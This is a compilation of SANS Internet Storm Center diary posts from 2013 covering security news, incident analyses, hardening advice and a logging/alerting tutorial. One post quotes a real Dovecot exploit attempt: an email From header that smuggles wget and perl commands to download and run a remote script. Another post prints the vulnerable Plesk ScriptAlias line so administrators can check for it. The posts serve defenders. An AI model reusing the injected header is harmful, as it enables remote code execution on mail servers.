The NIST has published a voluntary framework to reduce cyber risk to critical infrastructure as a result of a directive inside the President's execute order for improving critical infrastructure cybersecurity.

The core of this framework is composed of a function matrix and a framework implementation level matrix. The function matrix contains the five top-level cybersecurity functions, which are:

• Know: Gaining the institutional understanding to identify what systems need to be protected, assess priority in light of organizational mission, and manage processes to achieve cost effective risk management goals
• Prevent: Categories of management, technical, and operational activities that enable the organization to decide on the appropriate outcome-based actions to ensure adequate protection against threats to business systems that support critical infrastructure components.
• Detect: Activities that identify (through ongoing monitoring or other means of observation) the presence of undesirable cyber risk events, and the processes to assess the potential impact of those events.
• Respond: Specific risk management decisions and activities enacted based upon previously implemented planning (from the Prevent function) relative to estimated impact.
• Recover: Categories of management, technical, and operational activities that restore services that have previously been impaired through an undesirable cybersecurity risk event.

The function matrix becomes part of the critical operations manual, as it contains detailed functions pertaining to each organization on how to increase security levels, making all of them part of the business day-to-day tasks.

The framework implementation level defines three implementation levels from three perspectives: the senior executive role, the business process manager and the operational managers. The goal of this matrix is to reflect the cybersecurity state of the critical infrastructure from the previous role perspectives.

While this framework is still in draft state, I consider it a breakthrough in increasing the level of security of critical infrastructure, as critical infrastructure officers of the companies have always been reluctant to implement security measures as in the IT normal world because it goes against the way their operating processes work and because managers of these areas see no value added in these tasks. This framework shows them information security as part of their function and shows a way to integrate seamless to the normal business operation, as  they work same process to prevent operation risks to the critical infrastructure, like power disruption, pipe explosion, transformer damage an many others.

You can find the framework core at http://www.nist.gov/itl/upload/draft_framework_core.pdf.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

Currently, Instagram appears to be flooded with images of various fruits, pointing to a site that advertises a "miracle fruit diet". The spam attack links to a fake BBC page, typically via a bit.ly link. The "BBC" page features an article touting the power of the advertised diet scheme.

It appears that compromissed Instagram accounts are the source of the spam. The accounts were compromissed using phishing e-mails as some reports indicate. In addition to posting the images, the users profile URL is also changed to the spam website.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Opera recently suffered a compromisse to one of the servers it uses to distribute software updates. You probably read about the fact, that as part of this compromisse an expired certificate was used to sign malicious software. This software was then distributed using Opera's update servers. Users checking for updates during the time the malicious software was live automatically downloaded and installed the software using Opera's automatic update feature.

We can talk a lot about what may or may not have been done by Opera to prevent this from happening. At least, they detected the problem quickly, but then again, it took them a few weeks to notify users. But not too many of you are probably distributing major software packages. However, we all rely in some ways on automatic updates, and hope that vendors deliver "clean" (even if not bug free) software.

So what can you do to detect and clean up malicious software that was installed directly from a trusted vendor?

TrustNo1

A very long time ago, before we hashed passwords, this was one of the favorite once used by our users and somewhat indicates the attitude of many of our readers. Is paranoia still paranoia if they are actually out there to get you? In real live, this usually doesn't get you far. Features like auto-updates, and trusting digital signatures, are necessary to survive with non existing patch windows. You should however always think "defense in depth". There may be other controls to make sure the software behaves as expected. For example, if software "calls out" to other sites. Sadly, for a web browser, outbound connections are expected and hard to verfiy.

Anti-Malware

At this point in time, the malware distributed via the Opera update is widely recognized. However, if your system was infected, Anti-Malware is likely no longer functioning as designed. The attacker had a couple weeks to download and install additional components. One trick that may still work is an offline malware scan using a bootable CD. This method however doesn't scale well and is time consuming even for individual PCs. As a compromisse, you may want to scan the suspicous drive over the network by mounting it to a known clean system

Whitelisting

Many whitelisting systems will not flag software if it comes with a valid signature. Also, in this case, you may have added an exception thinking that the update to Opera was legitimate as it came from a legitimate Opera server and was signed.

Network Based Controls

This is probably the best way to avoid modifications made by the malware to the host. But properly configuring network based controlls (Firewall, Intrusion Detection or Prevention Systems) is tricky. You are likely still relying on signatures, and the signature may come too late in this case after the malware installed additional tools that no longer match the original signature. But a well tunes IDS is probably your best bet to detect this.

Host based Intrusion Detection/Prevention

HIPS comes in many forms, but I am thinking here of behavioral tools that detect processes escalating privileges and accessing files they shouldn't access (or establishing network connections). This may work here, if the malware doesn't manage to disable these tools.

My summary: Start with the host. If it is patched and well protected (Anti Malware / Whitelists ...), then chances are smaller that the malware will disable these features. The chance isn't 0, but smaller. Secondly, make sure your network defenses are in order and provide meaningful alerts that suplement hostbased detection.

Any other ideas I missed?

[1] http://my.opera.com/securitygroup/blog/2013/06/26/opera-infrastructure-attack

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

An update has been released for the SSL vulnerability reported in Ruby.  From the site: "All Ruby versions are affected".  The Ruby update also contains a patch for a DOS vulnerability; check out the details here.

Why is physical security at least as important as technical security?  As a colleague and friend once explained some years ago “physical security trumps all”.  If we lose the physical security of a device, we have truly lost ownership.  We often talk about systems and applications being owned by bad actors, and the l33t skillz employed to gain these prizes.  We cannot lose sight of the fact that a smash and grab is still an effective way to gain access to your data.  Some of the top security firms operating today will often demonstrate the weakness by actually physically penetrating the office/datacenter/DCO, returning with images of the days headlines next to your assets.

A friend of the ISC, Sean, pointed out an instance while I was reading an old example of physical security facilitating the compromise, or possible compromise, of data.  A prison facility under construction in Iowa lost physical control of a laptop that had the blueprints of the prison, which is slated to house Iowa’s worst offenders.  The other example was a story related to tapping of fiber optic cables.  The tapping of fiber optic cables is not trivial, but one thing has to occur before the tapping can happen: Physical access to the cable.

Summary: When the CIO comes to you and says “physical security of the enterprise is now in your house”, be prepared.

We are having issues with our website at this time, and are looking into the cause.  Thanx for the feedback and supporting the ISC.

Update: The layout is back to normal. 

We have also heard from Android users about issues with SSL on our website. It appears that the Certificate Authority used to sign our SSL Certificate is not recognized by Android. We don't have a fix for this right now (short of getting a new certificate). This is a well known issue with Android and will hopefully be addressed by Google in future Android patches.

tony d0t carothers --gmail

Cisco has today released four vulnerability advisories:

http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130626-ngfw
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130626-sma
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130626-wsa
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130626-esa

Affecting Cisco ASA Next-Generation Firewall, Cisco Email Security Appliance, Cisco Content Security Management Appliance, and Cisco Web Security Appliance..

Cheers,
Adrien de Beaupré
Intru-shun.ca Inc.
My SANS Teaching Schedule

A week ago one of our readers, Cedric, submitted a PHP web shell he found on a compromised server.

PHP web shells are a pretty common thing – once attackers identify a vulnerability that allows them to upload such a PHP file (which is usually a RFI, Remote File Inclusion, vulnerability), they install it to make further activities easier. PHP web shells have gone a long way and are today very powerful. The attacker can use a PHP web shell to navigate through directories, upload and download files and do much, much more.

One of the more well-known and publicly available such multi-purpose web shells is the Ani-Shell. Ani-Shell is a PHP web shell that, among the regular functions such as file management also supports features such as MD5 cracking, where the attacker simply uploads a list of MD5 hashes and a dictionary, after which the shell tries to crack the submitted hashes.

Of course, any publicly available PHP web shell has million spin-offs. Cedric found one such PHP web shell called PHPJackal which again, among the regular functions, has quite a bit of extra features. The PHP web shell was renamed to .database.php, and you can see the main interface in the figure below (the screen showing the port scanning module):

We can see that through time attackers added quite a bit of extra features. The Crackers screen of PHPJackal is particularly interesting: it contains 10 modules that allow cracking attempts on various services: starting from uploaded MD5 hashes similarly to the mentioned Ani-Shell, but also to live, remote cracking of SMTP, POP3, IMAP4, SNMP, MySQL and MSSQL databases as well as HTTP form and basic authentication protected web pages. What else could an attacker wish for?

The number of such compromised web sites is staggering. What’s even worse, such servers usually have a lot of CPU power and network bandwidth, so attackers can easily abuse them to launch other attacks such as mentioned cracking of passwords or even DoS attacks. In fact, Cedric found the mentioned shell by monitoring firewall logs – the attacker launched a simple HTTP Connect DoS attack on a different web site causing the main firewall to log warnings about a high number of connections.

Identifying such compromised sites can be particularly challenging for web hosting companies, which do not have direct control over implemented web sites. As always in security, we cannot rely on one thing but have to monitor the whole environment: if you see CPU usage spikes or high bandwidth coming from a server, such events should be further investigated. Of course, first we have to make sure that we have monitoring that can catch such cases implemented, so start today (if you haven’t already); I’m sure that in 6 months you’ll be glad that you did this.

--
Bojan (@bojanz)
INFIGO IS

TL;DR

In SSH's default (and most common) deployment: Yes.  It is no more secure than telnet, but it can be better.

Apologies to Ian Betteridge

If you ask any sysadmin, they say that SSH is more secure than telnet, and they'll likely comment that opening telnet up to the Internet is reckless.  One can simulate asking general opinion with a little googling:

• "ssh is more secure than telnet": 11,500
• "telnet is more secure than ssh": 81

So, the Conventional Wisdom is that "ssh is more secure than telnet."  This must be why we see so many default deployments of SSH.  Which is why SSH are likely so common and eventually successful.

Why do people commonly think SSH is more secure?  In a word: encryption.  "SSH is more secure than telnet because it's encrypted," is a common phrase (~2.3 million google hits on that set.)  SSH's encryption protects you from two main attacks: someone sniffing your credentials and logging into the wrong machine.

Sniffing is a threat from local attackers, either a compromise on the machine itself, or something in the local network, or a system inline between the client and server.  It's certainly a risk, but it's comparatively rare to the risks cited below.

A sufficiently clever attacker could also capture your credentials by modifying your traffic to go through their systems and simply collect your credentials.  One of the key advantages of SSH over telnet is that the server authenticates itself to the client before it collects credentials from the client.

So, we have two attack scenarios that require a clever attacker acting locally to either the client or the server.  I'm going to ask that we ignore these two cases for a moment as I state my case that both telnet and ssh, by default, offer equivalent protection against brute force scans.  The attacker has time and assets on their side, they've got plenty of compromised systems to dedicate to finding more system, and each newly compromised system becomes available to be used for scanning-- think zombie outbreak.

Take a moment to think about how you're using SSH in your environment?  Is it running on the default port, accepting connections from any IP, from any system, relying only on a username/password pair?  If so, I suggest that it's no more secure than running telnet.  Not that I'm suggesting that you chuck SSH and go with telnet "because that guy at the Internet Storm Center said so."

Making it better

SSH can be an effective control.  It's just that so many people set it up only halfway.  If you are using it on the perimeter as your remote-management solution, I strongly suggest running it on a non-standard port.  Seriously, the level of scanning on port 22 is crazy (http://www.dshield.org/port.html?port=22)-- compare it to port 80.  I wouldn't use 2222 as your alternate because it looks like they might be catching on to that as well.

Use SSH as it was intended.  That means creating keys on the client-side as well.  Not those unencrypted keys either, that can be a decent was of managing systems if you can limit the permissions on the accounts correctly, but for interactive sessions from your client boxes, it's really not a good idea.  Intermediary malware loaders are looking for SSH keys in addition to other FTP credentials, so using encrypted client keys might protect a little when the client system is exposed (if you don't decrypt the key while they have their hooks into your system, that is.)

Keep an eye out for abuse.  Tools like fail2ban (http://www.fail2ban.org) can help keep out the brute force attacks.  Putting up a listener on ports 22 and 2222 and feeding that into your firewall blocklist might cut down on a lot of other abuse and spam coming into your network too.

What about two-factor?  This helps even on telnet sessions too.  Take a look at Duo:Security (https://www.duosecurity.com/) they have a personal version that's fairly inexpensive ($10 for 1000 SMS, or $20 for a hardware token.)  It's a simple PAM module.

Stop rewarding brute-force scanners.

We have received indication that the domain .biz DNSSEC DNSKEY is "bogus" and failing DNSSEC validation. Resolving isc.biz with VeriSign Labs indicates "None of the 5 DNSKEY records could be validated by any of the 2 DS records" and "The DNSKEY RRset was not signed by any keys in the chain-of-trust".

When we receive additional information, we will update the diary.

[1] http://dnssec-debugger.verisignlabs.com/isc.biz

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

Facebook recently received a report that may have allowed some user information (email or phone number) to be accessed by people who either had some contact information about that person or some connection to them.

Based on their analysis, they estimate that approximately 6 million users had their email addresses or telephone numbers shared. However, they don't have any evidence this bug was exploited because they have not received any user complaints or seen strange activity related to this bug. The complete Facebook message to users is posted here.

[1] https://www.facebook.com/notes/facebook-security/important-message-from-facebooks-white-hat-program/10151437074840766

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

LinkedIn had its DNS "hijacked". There are no details right now, but often this is the result of an attacker compromissing the account used to manage DNS servers.But so far, no details are available so this could be just a simple misconfiguration.

The issue has been resolved, but If LinkedIn is "down" for you, or if it points to a different site, then you should flush your DNS cache.

It does not appear that Linkedin uses DNSSEC (which may not have helped if the registrar account was compromissed). Your best bet to make sure you connect to the correct site is SSL. But of course, "owning" the domain may allow the attacker to create a new certificate rather quickly.

As indicated in a comment below (and some twitter messages), other sites are affected as well. Please add a comment if you find any. The fact that multiple site's NS records are affected implies that this may not be a simple compromissed registrar account.

Current, appearantly accurate, DNS replies for LinkedIn:

dig +short A linkedin.com
216.52.242.86

dig +short NS linkedin.com
ns4.p43.dynect.net.
ns4.linkedin.com.
ns3.p43.dynect.net.
ns1.p43.dynect.net.
ns2.p43.dynect.net.
ns1.linkedin.com.
ns3.linkedin.com.
ns5.linkedin.com.
ns6.linkedin.com.
ns2.linkedin.com.

SANS Technology Institute
Twitter

HP released a security bulletin on a potential remote unauthorized access with HP Integrated Lights-Out iLO3/iLO4 using Single-Sign-On.

CVE-2013-2338 has been assigned and the following versions are impacted:

HP Integrated Lights-Out 3 (iLO3) firmware versions prior to v1.57.
HP Integrated Lights-Out 4 (iLO4) firmware versions prior to v1.22.

If you are impacted, HP recommends upgrading as soon as possible. The current version is available here.

[1] http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?lang=en&cc=us&objectID=c03787836
[2] http://www.hp.com/go/bizsupport
[3] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-2338

-----------

Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu

This weekend (June 22-23) the Amateur Radio Relay League  and Radio Amateurs of Canada and holding their annual Field Day (http://www.arrl.org/field-day) exercise in North America.  Amateur radio operators participate in an emergency preparedness exercise where they deploy their equipment outside the comfort of their home radio shacks and many operate on alternative/emergency power sources.  Each year around this time, I realize that I've forgotten that this is coming up, and I hurriedly assemble my kit at the last minute and I try to fit in more than I can accomplish on my own.  In other words, it's a realistic drill for me.

In the early days of the Internet Storm Center when large-scale scanning worms were threatening the basic infrastructure of the Internet we discussed falling back to packet radio as a communications option.  Fortunately, those discussions remained theoretical and we didn't have to put it into practice.  However, each year at Field Day, I'm reminded of the possibility that the right combination of disasters could fracture the Internet noticeably.

This makes me think of WinkLink 2000 (http://www.winlink.org/)

WinLink 2000 describes itself as "a worldwide system of volunteer sysops, radio stations and network assets supporting e-mail by radio, with non-commercial links to internet e-mail."  Basically it provides e-mail service where the last mile is via amateur radio.  It's used by ships at sea, and in emergency radio service when the local infrastructure is severely damaged.

I think this service would be very useful in an Internet-threatening scenario.  Which is why I'm putting out the call to any readers who are also winlink-enabled.  Send an email in to us (handlers@sans.edu) from your winlink account.  Let us know if you'd be interested in participating in any Internet disaster response activities that we may have in the future.

As I sit in my hotel room in Washington DC at the SANSFIRE 2013 conference, preparing to present Memory Analysis with Volatility to a SANS@Night crowd (7:15 International Ballroom Center), an opportunity arose from which to get you warmed up for tonight's talk or inspire you to become a Volatility user (you should be already).

We received an advisory from a faithful reader indicating that he had uploaded "a dropper we got blitzed with from a spam campaign today" to ISC. We love us some malware samples, so I got busy. A typical review of the sample (invoice.exe) on a Windows VM gave us the basic behavioral details as seen in this ProcDOT visualization (ProcDOT also rules).

We can see that the invoice.exe process makes two Internet calls, spawns some shells to run reg.exe to create some registry entries, and creates a log file along with replicating itself to mc.exe in the victim user Application Data directory, before hiding itself from visible user APIs. Anubis provides better detail, but of concern was that fact that invoice.exe and mc.exe (same file, same hash) exhibited only one AV detection via Virustotal as this was written (certain to change soon). As such, we don't have much to go from as to what malware family we're really dealing with here.

But wait...Volatility to the rescue. I grapped a memory image from the compromised VM, copied the memory dump to my faithful SIFT 2.14 VM, and issued three simple commands that gave me all I needed to know.

1. vol.py --profile=WinXPSP3x86 connscan -f invoice.raw
2. vol.py --profile=WinXPSP3x86 pslist -f invoice.raw
3. vol.py --profile=WinXPSP3x86 malfind -p 268 -D ~/Desktop/output/  -f invoice.raw

Here's the play by play.

• Step 1 indicated that Process ID (PID) 268 was responsible for an connection to 124.248.205.22 over port 80 in Hong Kong (oh boy, we know this doesn't end well).
• Step 2 indicated that PID 268 belonged to invoice.exe (our intial sample, we're on the right track).
• Step 3 dumped PID 268 to the SIFT desktop as process.0x86372a38.0x400000.dmp

I upload said .dmp file to Virustotal and voila, now we know what we're dealing with. Our faithful reader is the proud owner of a W32.Shadesrat (Blackshades) variant. This is one malware family where they apparently caught the bad guy last year (not before he sold his warez to many a miscreant as is evident here).

Wise man say "What I hear I forget, what I see I remember, what I do with Volatility I understand."

Hope to see you tonight at SANSFIRE 2013 for some Volatility 101 across the full lifecycle of security analytics (penetration testing, monitoring, incident response).

Russ McRee | @holisticinfosec

Somewhere I know TJ O'Connor is a very happy analyst. EMET 4.0 has been released in its final version and is now available for download.

Download here: http://www.microsoft.com/en-us/download/details.aspx?id=39273

Microsoft blogpost: http://blogs.technet.com/b/srd/archive/2013/06/17/emet-4-0-now-available-for-download.aspx

TJ O'Connor's Nuclear Scientists, Pandas, and EMET Keeping Me Honest, an ISC guest diary posting: https://isc.sans.edu/diary/Nuclear+Scientists%2C+Pandas+and+EMET+Keeping+Me+Honest/15890

For those of you who are new to EMET:

"The Enhanced Mitigation Experience Toolkit (EMET) is designed to help prevent hackers from gaining access to your system. Software vulnerabilities and exploits have become an everyday part of life. Virtually every product has to deal with them and consequently, users are faced with a stream of security updates. For users who get attacked before the latest updates have been applied or who get attacked before an update is even available, the results can be devastating: malware, loss of PII, etc." 

EMET 4.0 features and updates incude:

SANSFIRE 2013 is getting underway in Washington DC. Traditionally, Sansfire is the "ISC Handlers' conference", where many of us attend, teach classes, and give talks on current security trends and research results. Starting today (Monday Jun 17), we are hosting several bonus sessions, including the "State of the Internet" panel discussion on Monday evening. For a full list of the sessions lined up throughout the week, see here: https://www.sans.org/event/sansfire-2013/bonus-sessions/. If you are attending the conference, feel free to drop us a line or two about your Sansfire experience and the highlights of the day in the comments below, or let us know via our contact form.

A scan is a sca

n is a scan

One of our readers provided an update this morning to the ISC of an ongoing educational/research scan of the Internet that will be expanding to include further ports and protocols.  While I appreciate the effort and reasoning behind the educational/research scans, using the internet at large may not necessarily be the way to go about this, so I'm asking for input and comment.

The value in data taken from scans of the internet is very real, no doubt, and I applaud the organizations for efforts to inform the Internet community they are doing.  The impact to the organizations is the hidden cost in this scanning and classification effort, however, and I am afraid the research institute may be overlooking this fact.  

In almost every organization with an IDS or IPS you will have a person responsible for the review and analysis of the activity.  However not all Security Analysts out there read the ISC or other sources of security information on a daily basis.  So when the security analysis notices unidentified addresses or services, the effort to classify the activity begins.  This may take an hour sometimes, and from my experience time is always the resource we never have enough of.  This is where the cost is incurred by the end user being scanned.   The time spent to identify and update their internal databases.

One last thought: The vulnerability data collected by these scans would be a gem in the wrong hands, much like the compromise of the database compromised earlier this year which contained a catalog of existing vulnerabilities in US hydroelectric dams.

So thoughts your thoughts, is this the best way to do this?  Is it the only way?

tony d0t carothers @t gmail

I often wondered what an 'average' reaction would be to a fire alarm sounding in a hotel. My question was answered a couple of weeks ago in misty San Franscico, CA. It was checking into SANSFire 2013 here in muggy Washington, DC that made me think to post this. Before I tell the story it would be good to give out the simple template I follow every time I check into a hotel.

The Basic Plan

1) Plan and Walk my Exit Route

2) Locate Nearest Fire Extinguisher (if one is installed, not so often anymore)

3) Pick a spot for key items in hotel (Tablet, Laptop, Cell Phone)

These are simple things that if walked through once should aid a late night wake up call from a fire alarm when that collides with drowsiness.

What Happened

At 1222AM an alarm sounded at my hotel in San Francisco and I executed basic plan for egress. I was stunned at how few people were leaving hotel rooms. Some had heads peaked out of rooms looking to see if perhaps others were leaving or if they maybe "had" to leave?

When I got down stairs (Yes stairs, I did see one person staring at the elevator) this is what I was met with:

T+5 min

After about 45 minutes and hotel staff walking the floors and then instructing everyone to wait in the lobby, this was the result:

T+45min

So the moral of this story is have a plan. Even though this was most obviouly a false alarm, I always treat them as if they are real.

Signing off from DC SANSFIRE 2013!

Richard Porter

@packetalien richard at isc dot sans dot edu

With the IPv6 Summit on Friday, various IPv6 related topics are of course on my mind. So I figured to put together a quick laundry list of "stupid little IPv6 tricks/topics". Let me know what issues you are running into as well:

1 - Proxies 

Right now, many web sites use proxies to provide IPv6 access. The result is some "interesting" behaviour that you may experience:

• The IPv6 version of the site may be out of date because the proxy cached it.
• The IPv6 version may use a different certificate (see an earlier story about this).
• A site may be down via IPv6 (because of a proxy problem) but up via IPv4.
• The actual web application isn't coded to look at the Forward-For or similar header, so it has no idea where you are comming from and you run into rate limits.

2 - Extension Headers

Security devices still have issues with extension headers. They may miss attacks, or just misinterpret packets.

• IDSs will not reassemble sessions correctly as they do not know if a packet will be dropped or not.
• Firewalls may block packets (or let them pass) as they can't figure out the protocol.
• Packet analysis tools will give you the wrong interpretation of a packet.

3 - Log Analysis / Address Interpreation

I still see log analysis tools that at first sight seem to work fine with IPv6, but they don't "normalize" the addresses, meaning that 2001:db8::1 is not considered equal to 2001:0db8::1 or 2001:0db8:0000:0000:0000:0000:0000:0001.

4 - Spam

Probably the most common IPv6 "attack" I see is spam, probably by accident (both ends happen to support IPv6) but it works quite well as there are still no real block list for IPv6.

5 - Portscans

So far, we see pretty much no port scans on IPv6 (which is kind of good ;-) ). It is still a decent idea to "hide" an SSH server in IPv6 space. 

BTW: Don't forget that we are now able to accept IPv6 firewall logs, not just IPv4!

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

VMware joined the Black Tuesday frenzy with a release of a security bulletin VMSA-2013-008. It covers CVE-2013-3520, a vulnerability in handling file uploads in the vCenter Chargeback Manager that allows remote code execution.

--
Swa Frantzen -- Section 66

Microsoft Security Advisory 2854544 was released today. It adds functionality to manage and use Cetificate Trutst Lists. 

Microsoft released a few days ago a fixit to allow one to control the availability of the java plug in in MSIE.

--
Swa Frantzen -- Section 66

Adobe released their June 2013 Black Tueday bulletins:

--
Swa Frantzen -- Section 66

Overview of the June 2013 Microsoft patches and their status.

--
Swa Frantzen -- Section 66

--
Swa Frantzen -- Section 66

Like many other exploit scripts, the recent "Plesk" exploit used a fake user agent of "Googlebot". Attackers assume that most web applications are happy to be indexed by Google and possibly ably no or less stringent filters. For example, some applications will show more content to Google that is not readily displayed to normal users unless these users sign up, solve a captcha or even pay.

Google however makes it pretty easy to distinguish "real" Google bots from fake once. The IP address used by Google will reverse resolve to crawl-a-b-c-d.googlebot.com, where a-b-c-d is the IP address of the bot. In addition, this host name will resolve to the IP address used. In order to validate if a google bot is "real", the lookup against .googlebot.com is required. An attacker could fake the reverse lookup if the attacker can provide reverse DNS for the IP address used by the attacker.

Personally, I use  a little shell script to extract "fake google" spiders from my logs:

------

Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server.  The exploit partially looked like this:

From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`@blaat.com

(Obviously edited for your safety, and I didn't post the whole thing.)

This is an exploit against Dovecot that is using the feature "use_shell" against itself.  This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration.  We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter.  Or if you are, make darn sure you know what you are doing, and how to defend yourself.

-- Joel Esler | http://blog.joelesler.net | http://twitter.com/joelesler

At a community college where I'm helping out whenever they panic on security issues, I recently was confronted with the odd reality of a lingering malware infection on their network, even though they had deployed a custom anti-virus (AV) pattern ("extra.dat") to eradicate the problem. Of course, these days, reliance on anti-virus is somewhat moot to begin with, our recent tally of fresh samples submitted to VirusTotal had AV lagging behind about 8 days or so. If you caught a keylogger spyware, 8 days is plenty to wreak havoc. I usually compare today's AV to the coroner in CSI, he can probably tell what killed you, but won't keep you alive.

But back to the college. Turns out they verify on a weekly basis if all the PCs have a current pattern, and they also verified that all their PCs got the "extra" pattern. The only problem was, their definition of "all" relied on the AV-tool itself. Obviously, if a PC doesn't have anti-virus installed, it won't show up on the anti-virus console. Hence, if your AV claims you have 100% compliance, you might want to check an alternate repository, like for example your Active Directory, to compare numbers. When I ran this test at the college, I found that their network/AD had 51 more workstations than their AV knew about. No wonder they still had frequent hits on the IDS for the backdoor traffic.

Never rely on a single security tool to tell you that everything is fine. Throw two or more sets of data against each other, and investigate discrepancies. Like your fishing or drinking or training buddy, security tools lie. Get acquainted with the usual pattern of lies (or obfuscated truths :), and surprises and disappointments will become less frequent.

Yesterday, a poster to the full disclosure mailing list described a possible new 0-day vulnerability against Plesk. Contributing to the vulnerability is a very odd configuration choice to expose "/usr/bin" via a ScriptAlias, making executables inside the directory reachable via URLs.

The big question that hasn't been answered so far is how common this configuration choice is. Appaerently, some versions of Plesk on CentOS 5 are configured this way, but not necessarily exploitable. The exploit is pretty easy to spot. It sends a heavily URL encoded POST request with a "Googlebot" user agent. Google typically doesn't send POST requests, so they are pretty easy to spot. I found a couple POSTS from "Google" (actually a "random" Chinese IP address, 222.187.222.122 ) in our web logs here.

Masquearding as Google is a common trick among exploit scripts. 

Please verify that your Apache configuration does NOT include this line:

ScriptAlias /phppath/ "/usr/bin/"

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

Richard Porter

--- ISC Handler on Duty

Apple released the next update for OS X, 10.8.4. Eventually, we should learn more about the security content of the update, but at this point, the security page has not been updated yet [1]. 

However, Apple did distribute a list of patched vulnerabilities via e-mail (thanks Dave for sharing). The update fixes a total of 33 vulnerabilities. Here are some of the highlights:

Other changes:

Gatekeeper will check downloaded JNLP applications and may require a valid developer ID certificate.

In addition, this update includes Safari 6.0.5 with various improvements / security fixes not listed here. 

Safari 6.0.5 patches a total of 23 arbitrary code execution vulnerabilities, two cross site scriting issue and one problem with the XSS Auditor that may cause form submissions to be altered.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

*** This is a guest diary by Dylan Johnson ***

In the first installment of this diary topic I showed you how to collect, normalize, store, graph and search events using Logstash, Graphite, Statsd, Kibana and Elasticsearch however an alerting capability was missing.

https://isc.sans.edu/diary/Guest+Diary%3A+Dylan+Johnson+-+There's+value+in+them+there+logs!/15289

So we have all our logs in one place and can search and graph on a per field basis, but what if we want to go home and generate an alert when a threshold is reached?

 The following details a simple yet effective approach to alerting using graphite and Seyren. We covered Graphite in the previous post so we wont revisit this one, however lets talk about Seyren.

What is Seyren ?

Seyren is a nice little alerting application that reads metrics from Graphite and compares them to a threshold you set. If that threshold is met or you approach the threshold it alerts, Simple!

 As per the previous post you will need a working Graphite install plus mongodb and of course Seyren https://github.com/scobal/seyren. You will also need Maven in order to install Seyren but it’s just another step and shouldn’t pose you any problems.

Lets get the basics out of the way so you can get this up and running with minimal fuss in a dev environment. Seyren is a Java app so first off you will need Java.

The next thing you will need to do is set you environment variables, making them persistent is a wise choice.

If you are just going to play with this the mongo install shouldn’t need any additional configuration after you install it, Seyren will play with it nicely with the defaults. Configure the SMTP stuff as suggested.

#### Base

* `GRAPHITE_URL` - The location of your graphite server. Default: `http://localhost:80`
* `GRAPHITE_USERNAME` - The Http Basic auth username for the graphite server. Default: ``
* `GRAPHITE_PASSWORD` - The Http Basic auth password for the graphite server. Default: ``
* `MONGO_URL` - The mongo connection string. Default: `mongodb://localhost:27017/seyren`
* `SEYREN_URL` - The location of your seyren instance. Default: `http://localhost:8080/seyren`

#### SMTP

* `SMTP_HOST` - The smtp server to send email notifications from. Default: `localhost`
* `SMTP_PORT` - The smtp server port. Default: `25`
* `SMTP_FROM` - The from email address for sending out notifications. Default: `alert@seyren`
* `SMTP_USERNAME` - The smtp server username if authenticated SMTP is used. Default: ``
* `SMTP_PASSWORD` - The smtp server password if authenticated SMTP is used. Default: ``
* `SMTP_PROTOCOL` - The smtp server protocol if authenticated SMTP is used. Default: `smtp

Download Seyren and follow the install instructions and after this you will need Go to your Seyren base install directory and run.

Nohup java -jar seyren-web/target/dependency/jetty-runner.jar --port 8888 --path /seyren seyren-web/target/seyren-web-1.0.0-SNAPSHOT.war &

This will start up your Seyren application.

Note: You can use the –port option to run this on a port of your choosing.

You should now be able to browse to http://<IP>: 8888/seyren.

WARNING: It’s probably best to run this behind an SSL enabled reverse proxy with authenticati

CREATE  A CHECK

So now you have Seyren up and running you will want to create a check. Seyren polls graphite and pulls back vales in order to make comparisons between the data returned and a threshold value you set by you.

So all you need to do is add a path to your graphite data source in the alerting setup. This is the data source you will be monitoring and alerting on.

An easy way to find this path is to derive it from the graphite graph you want to monitor.

It’s the one that’s ending in. deny above! That’s your data source for your first alert!

Next we create your first check. Use your graphite data source path as found in the previous step and set your warn and error levels. When Seyren pulls back a value that matches your warn / error level from Graphite it will do something!

Create the check and you should see the following showing what your check is doing.

ADD YOUR SUBSCRIPTIONS

If you click on STATE you will be able to add your subscriptions. I just added an email recipient to receive alerts.

All this configuration data is saved in the mongodb. Once you have set up your checks you can check the state of these via the main page. The image below shows how the checks move from state to state. In this example this is because the # of denied firewall packets reached a threshold value I set. Don’t worry, you don’t get DDoS’d with messages! You get one for each change in state as below.

The Deny alert state due to values above the set threshold

The Deny alert state due to values below the set threshold, a total of two messages sent. You can all send to other destinations like hipchat etc !

ALERT HISTORY

The Seyren home page shows the alert status for all your checks as seen below.

SOME BASIC USE CASES

A couple of alert use cases that could help your PCI: DSS compliance efforts are as follows:

Obviously you have to collect the relevant data from your assets in order to do this and I will show you how to do this and parse all these logs next time!

Use Case                                          Event Source

Failed logins                         -à Auditd / WinEvt / Radius / LDAP / AD

Denied Network traffic         -à IPtables / Syslog

Virus Numbers                     -à ePO registered executable / Defender

Port Scans                            -à portsentry / Snorth

ModSec                               -à rule severity

Snort                                     -à rule type

My previous post showed you how to normalize and analyze massive volumes of data in real-time and this post shows you how to add simple alerting automation. If you have all these components set up you now have a true basic security event management system.

In my next post I am going to use all of the tools and techniques detailed in my last two posts and show you how to use them to create a security event management system enabling an autonomous PCI:DSS and ISO27002 security event management system.

ADDITIONAL CONFIGURATION FOR SEYREN

As per the previous post you will need a working Graphite install plus mongodb and of course Seyren https://github.com/scobal/seyren

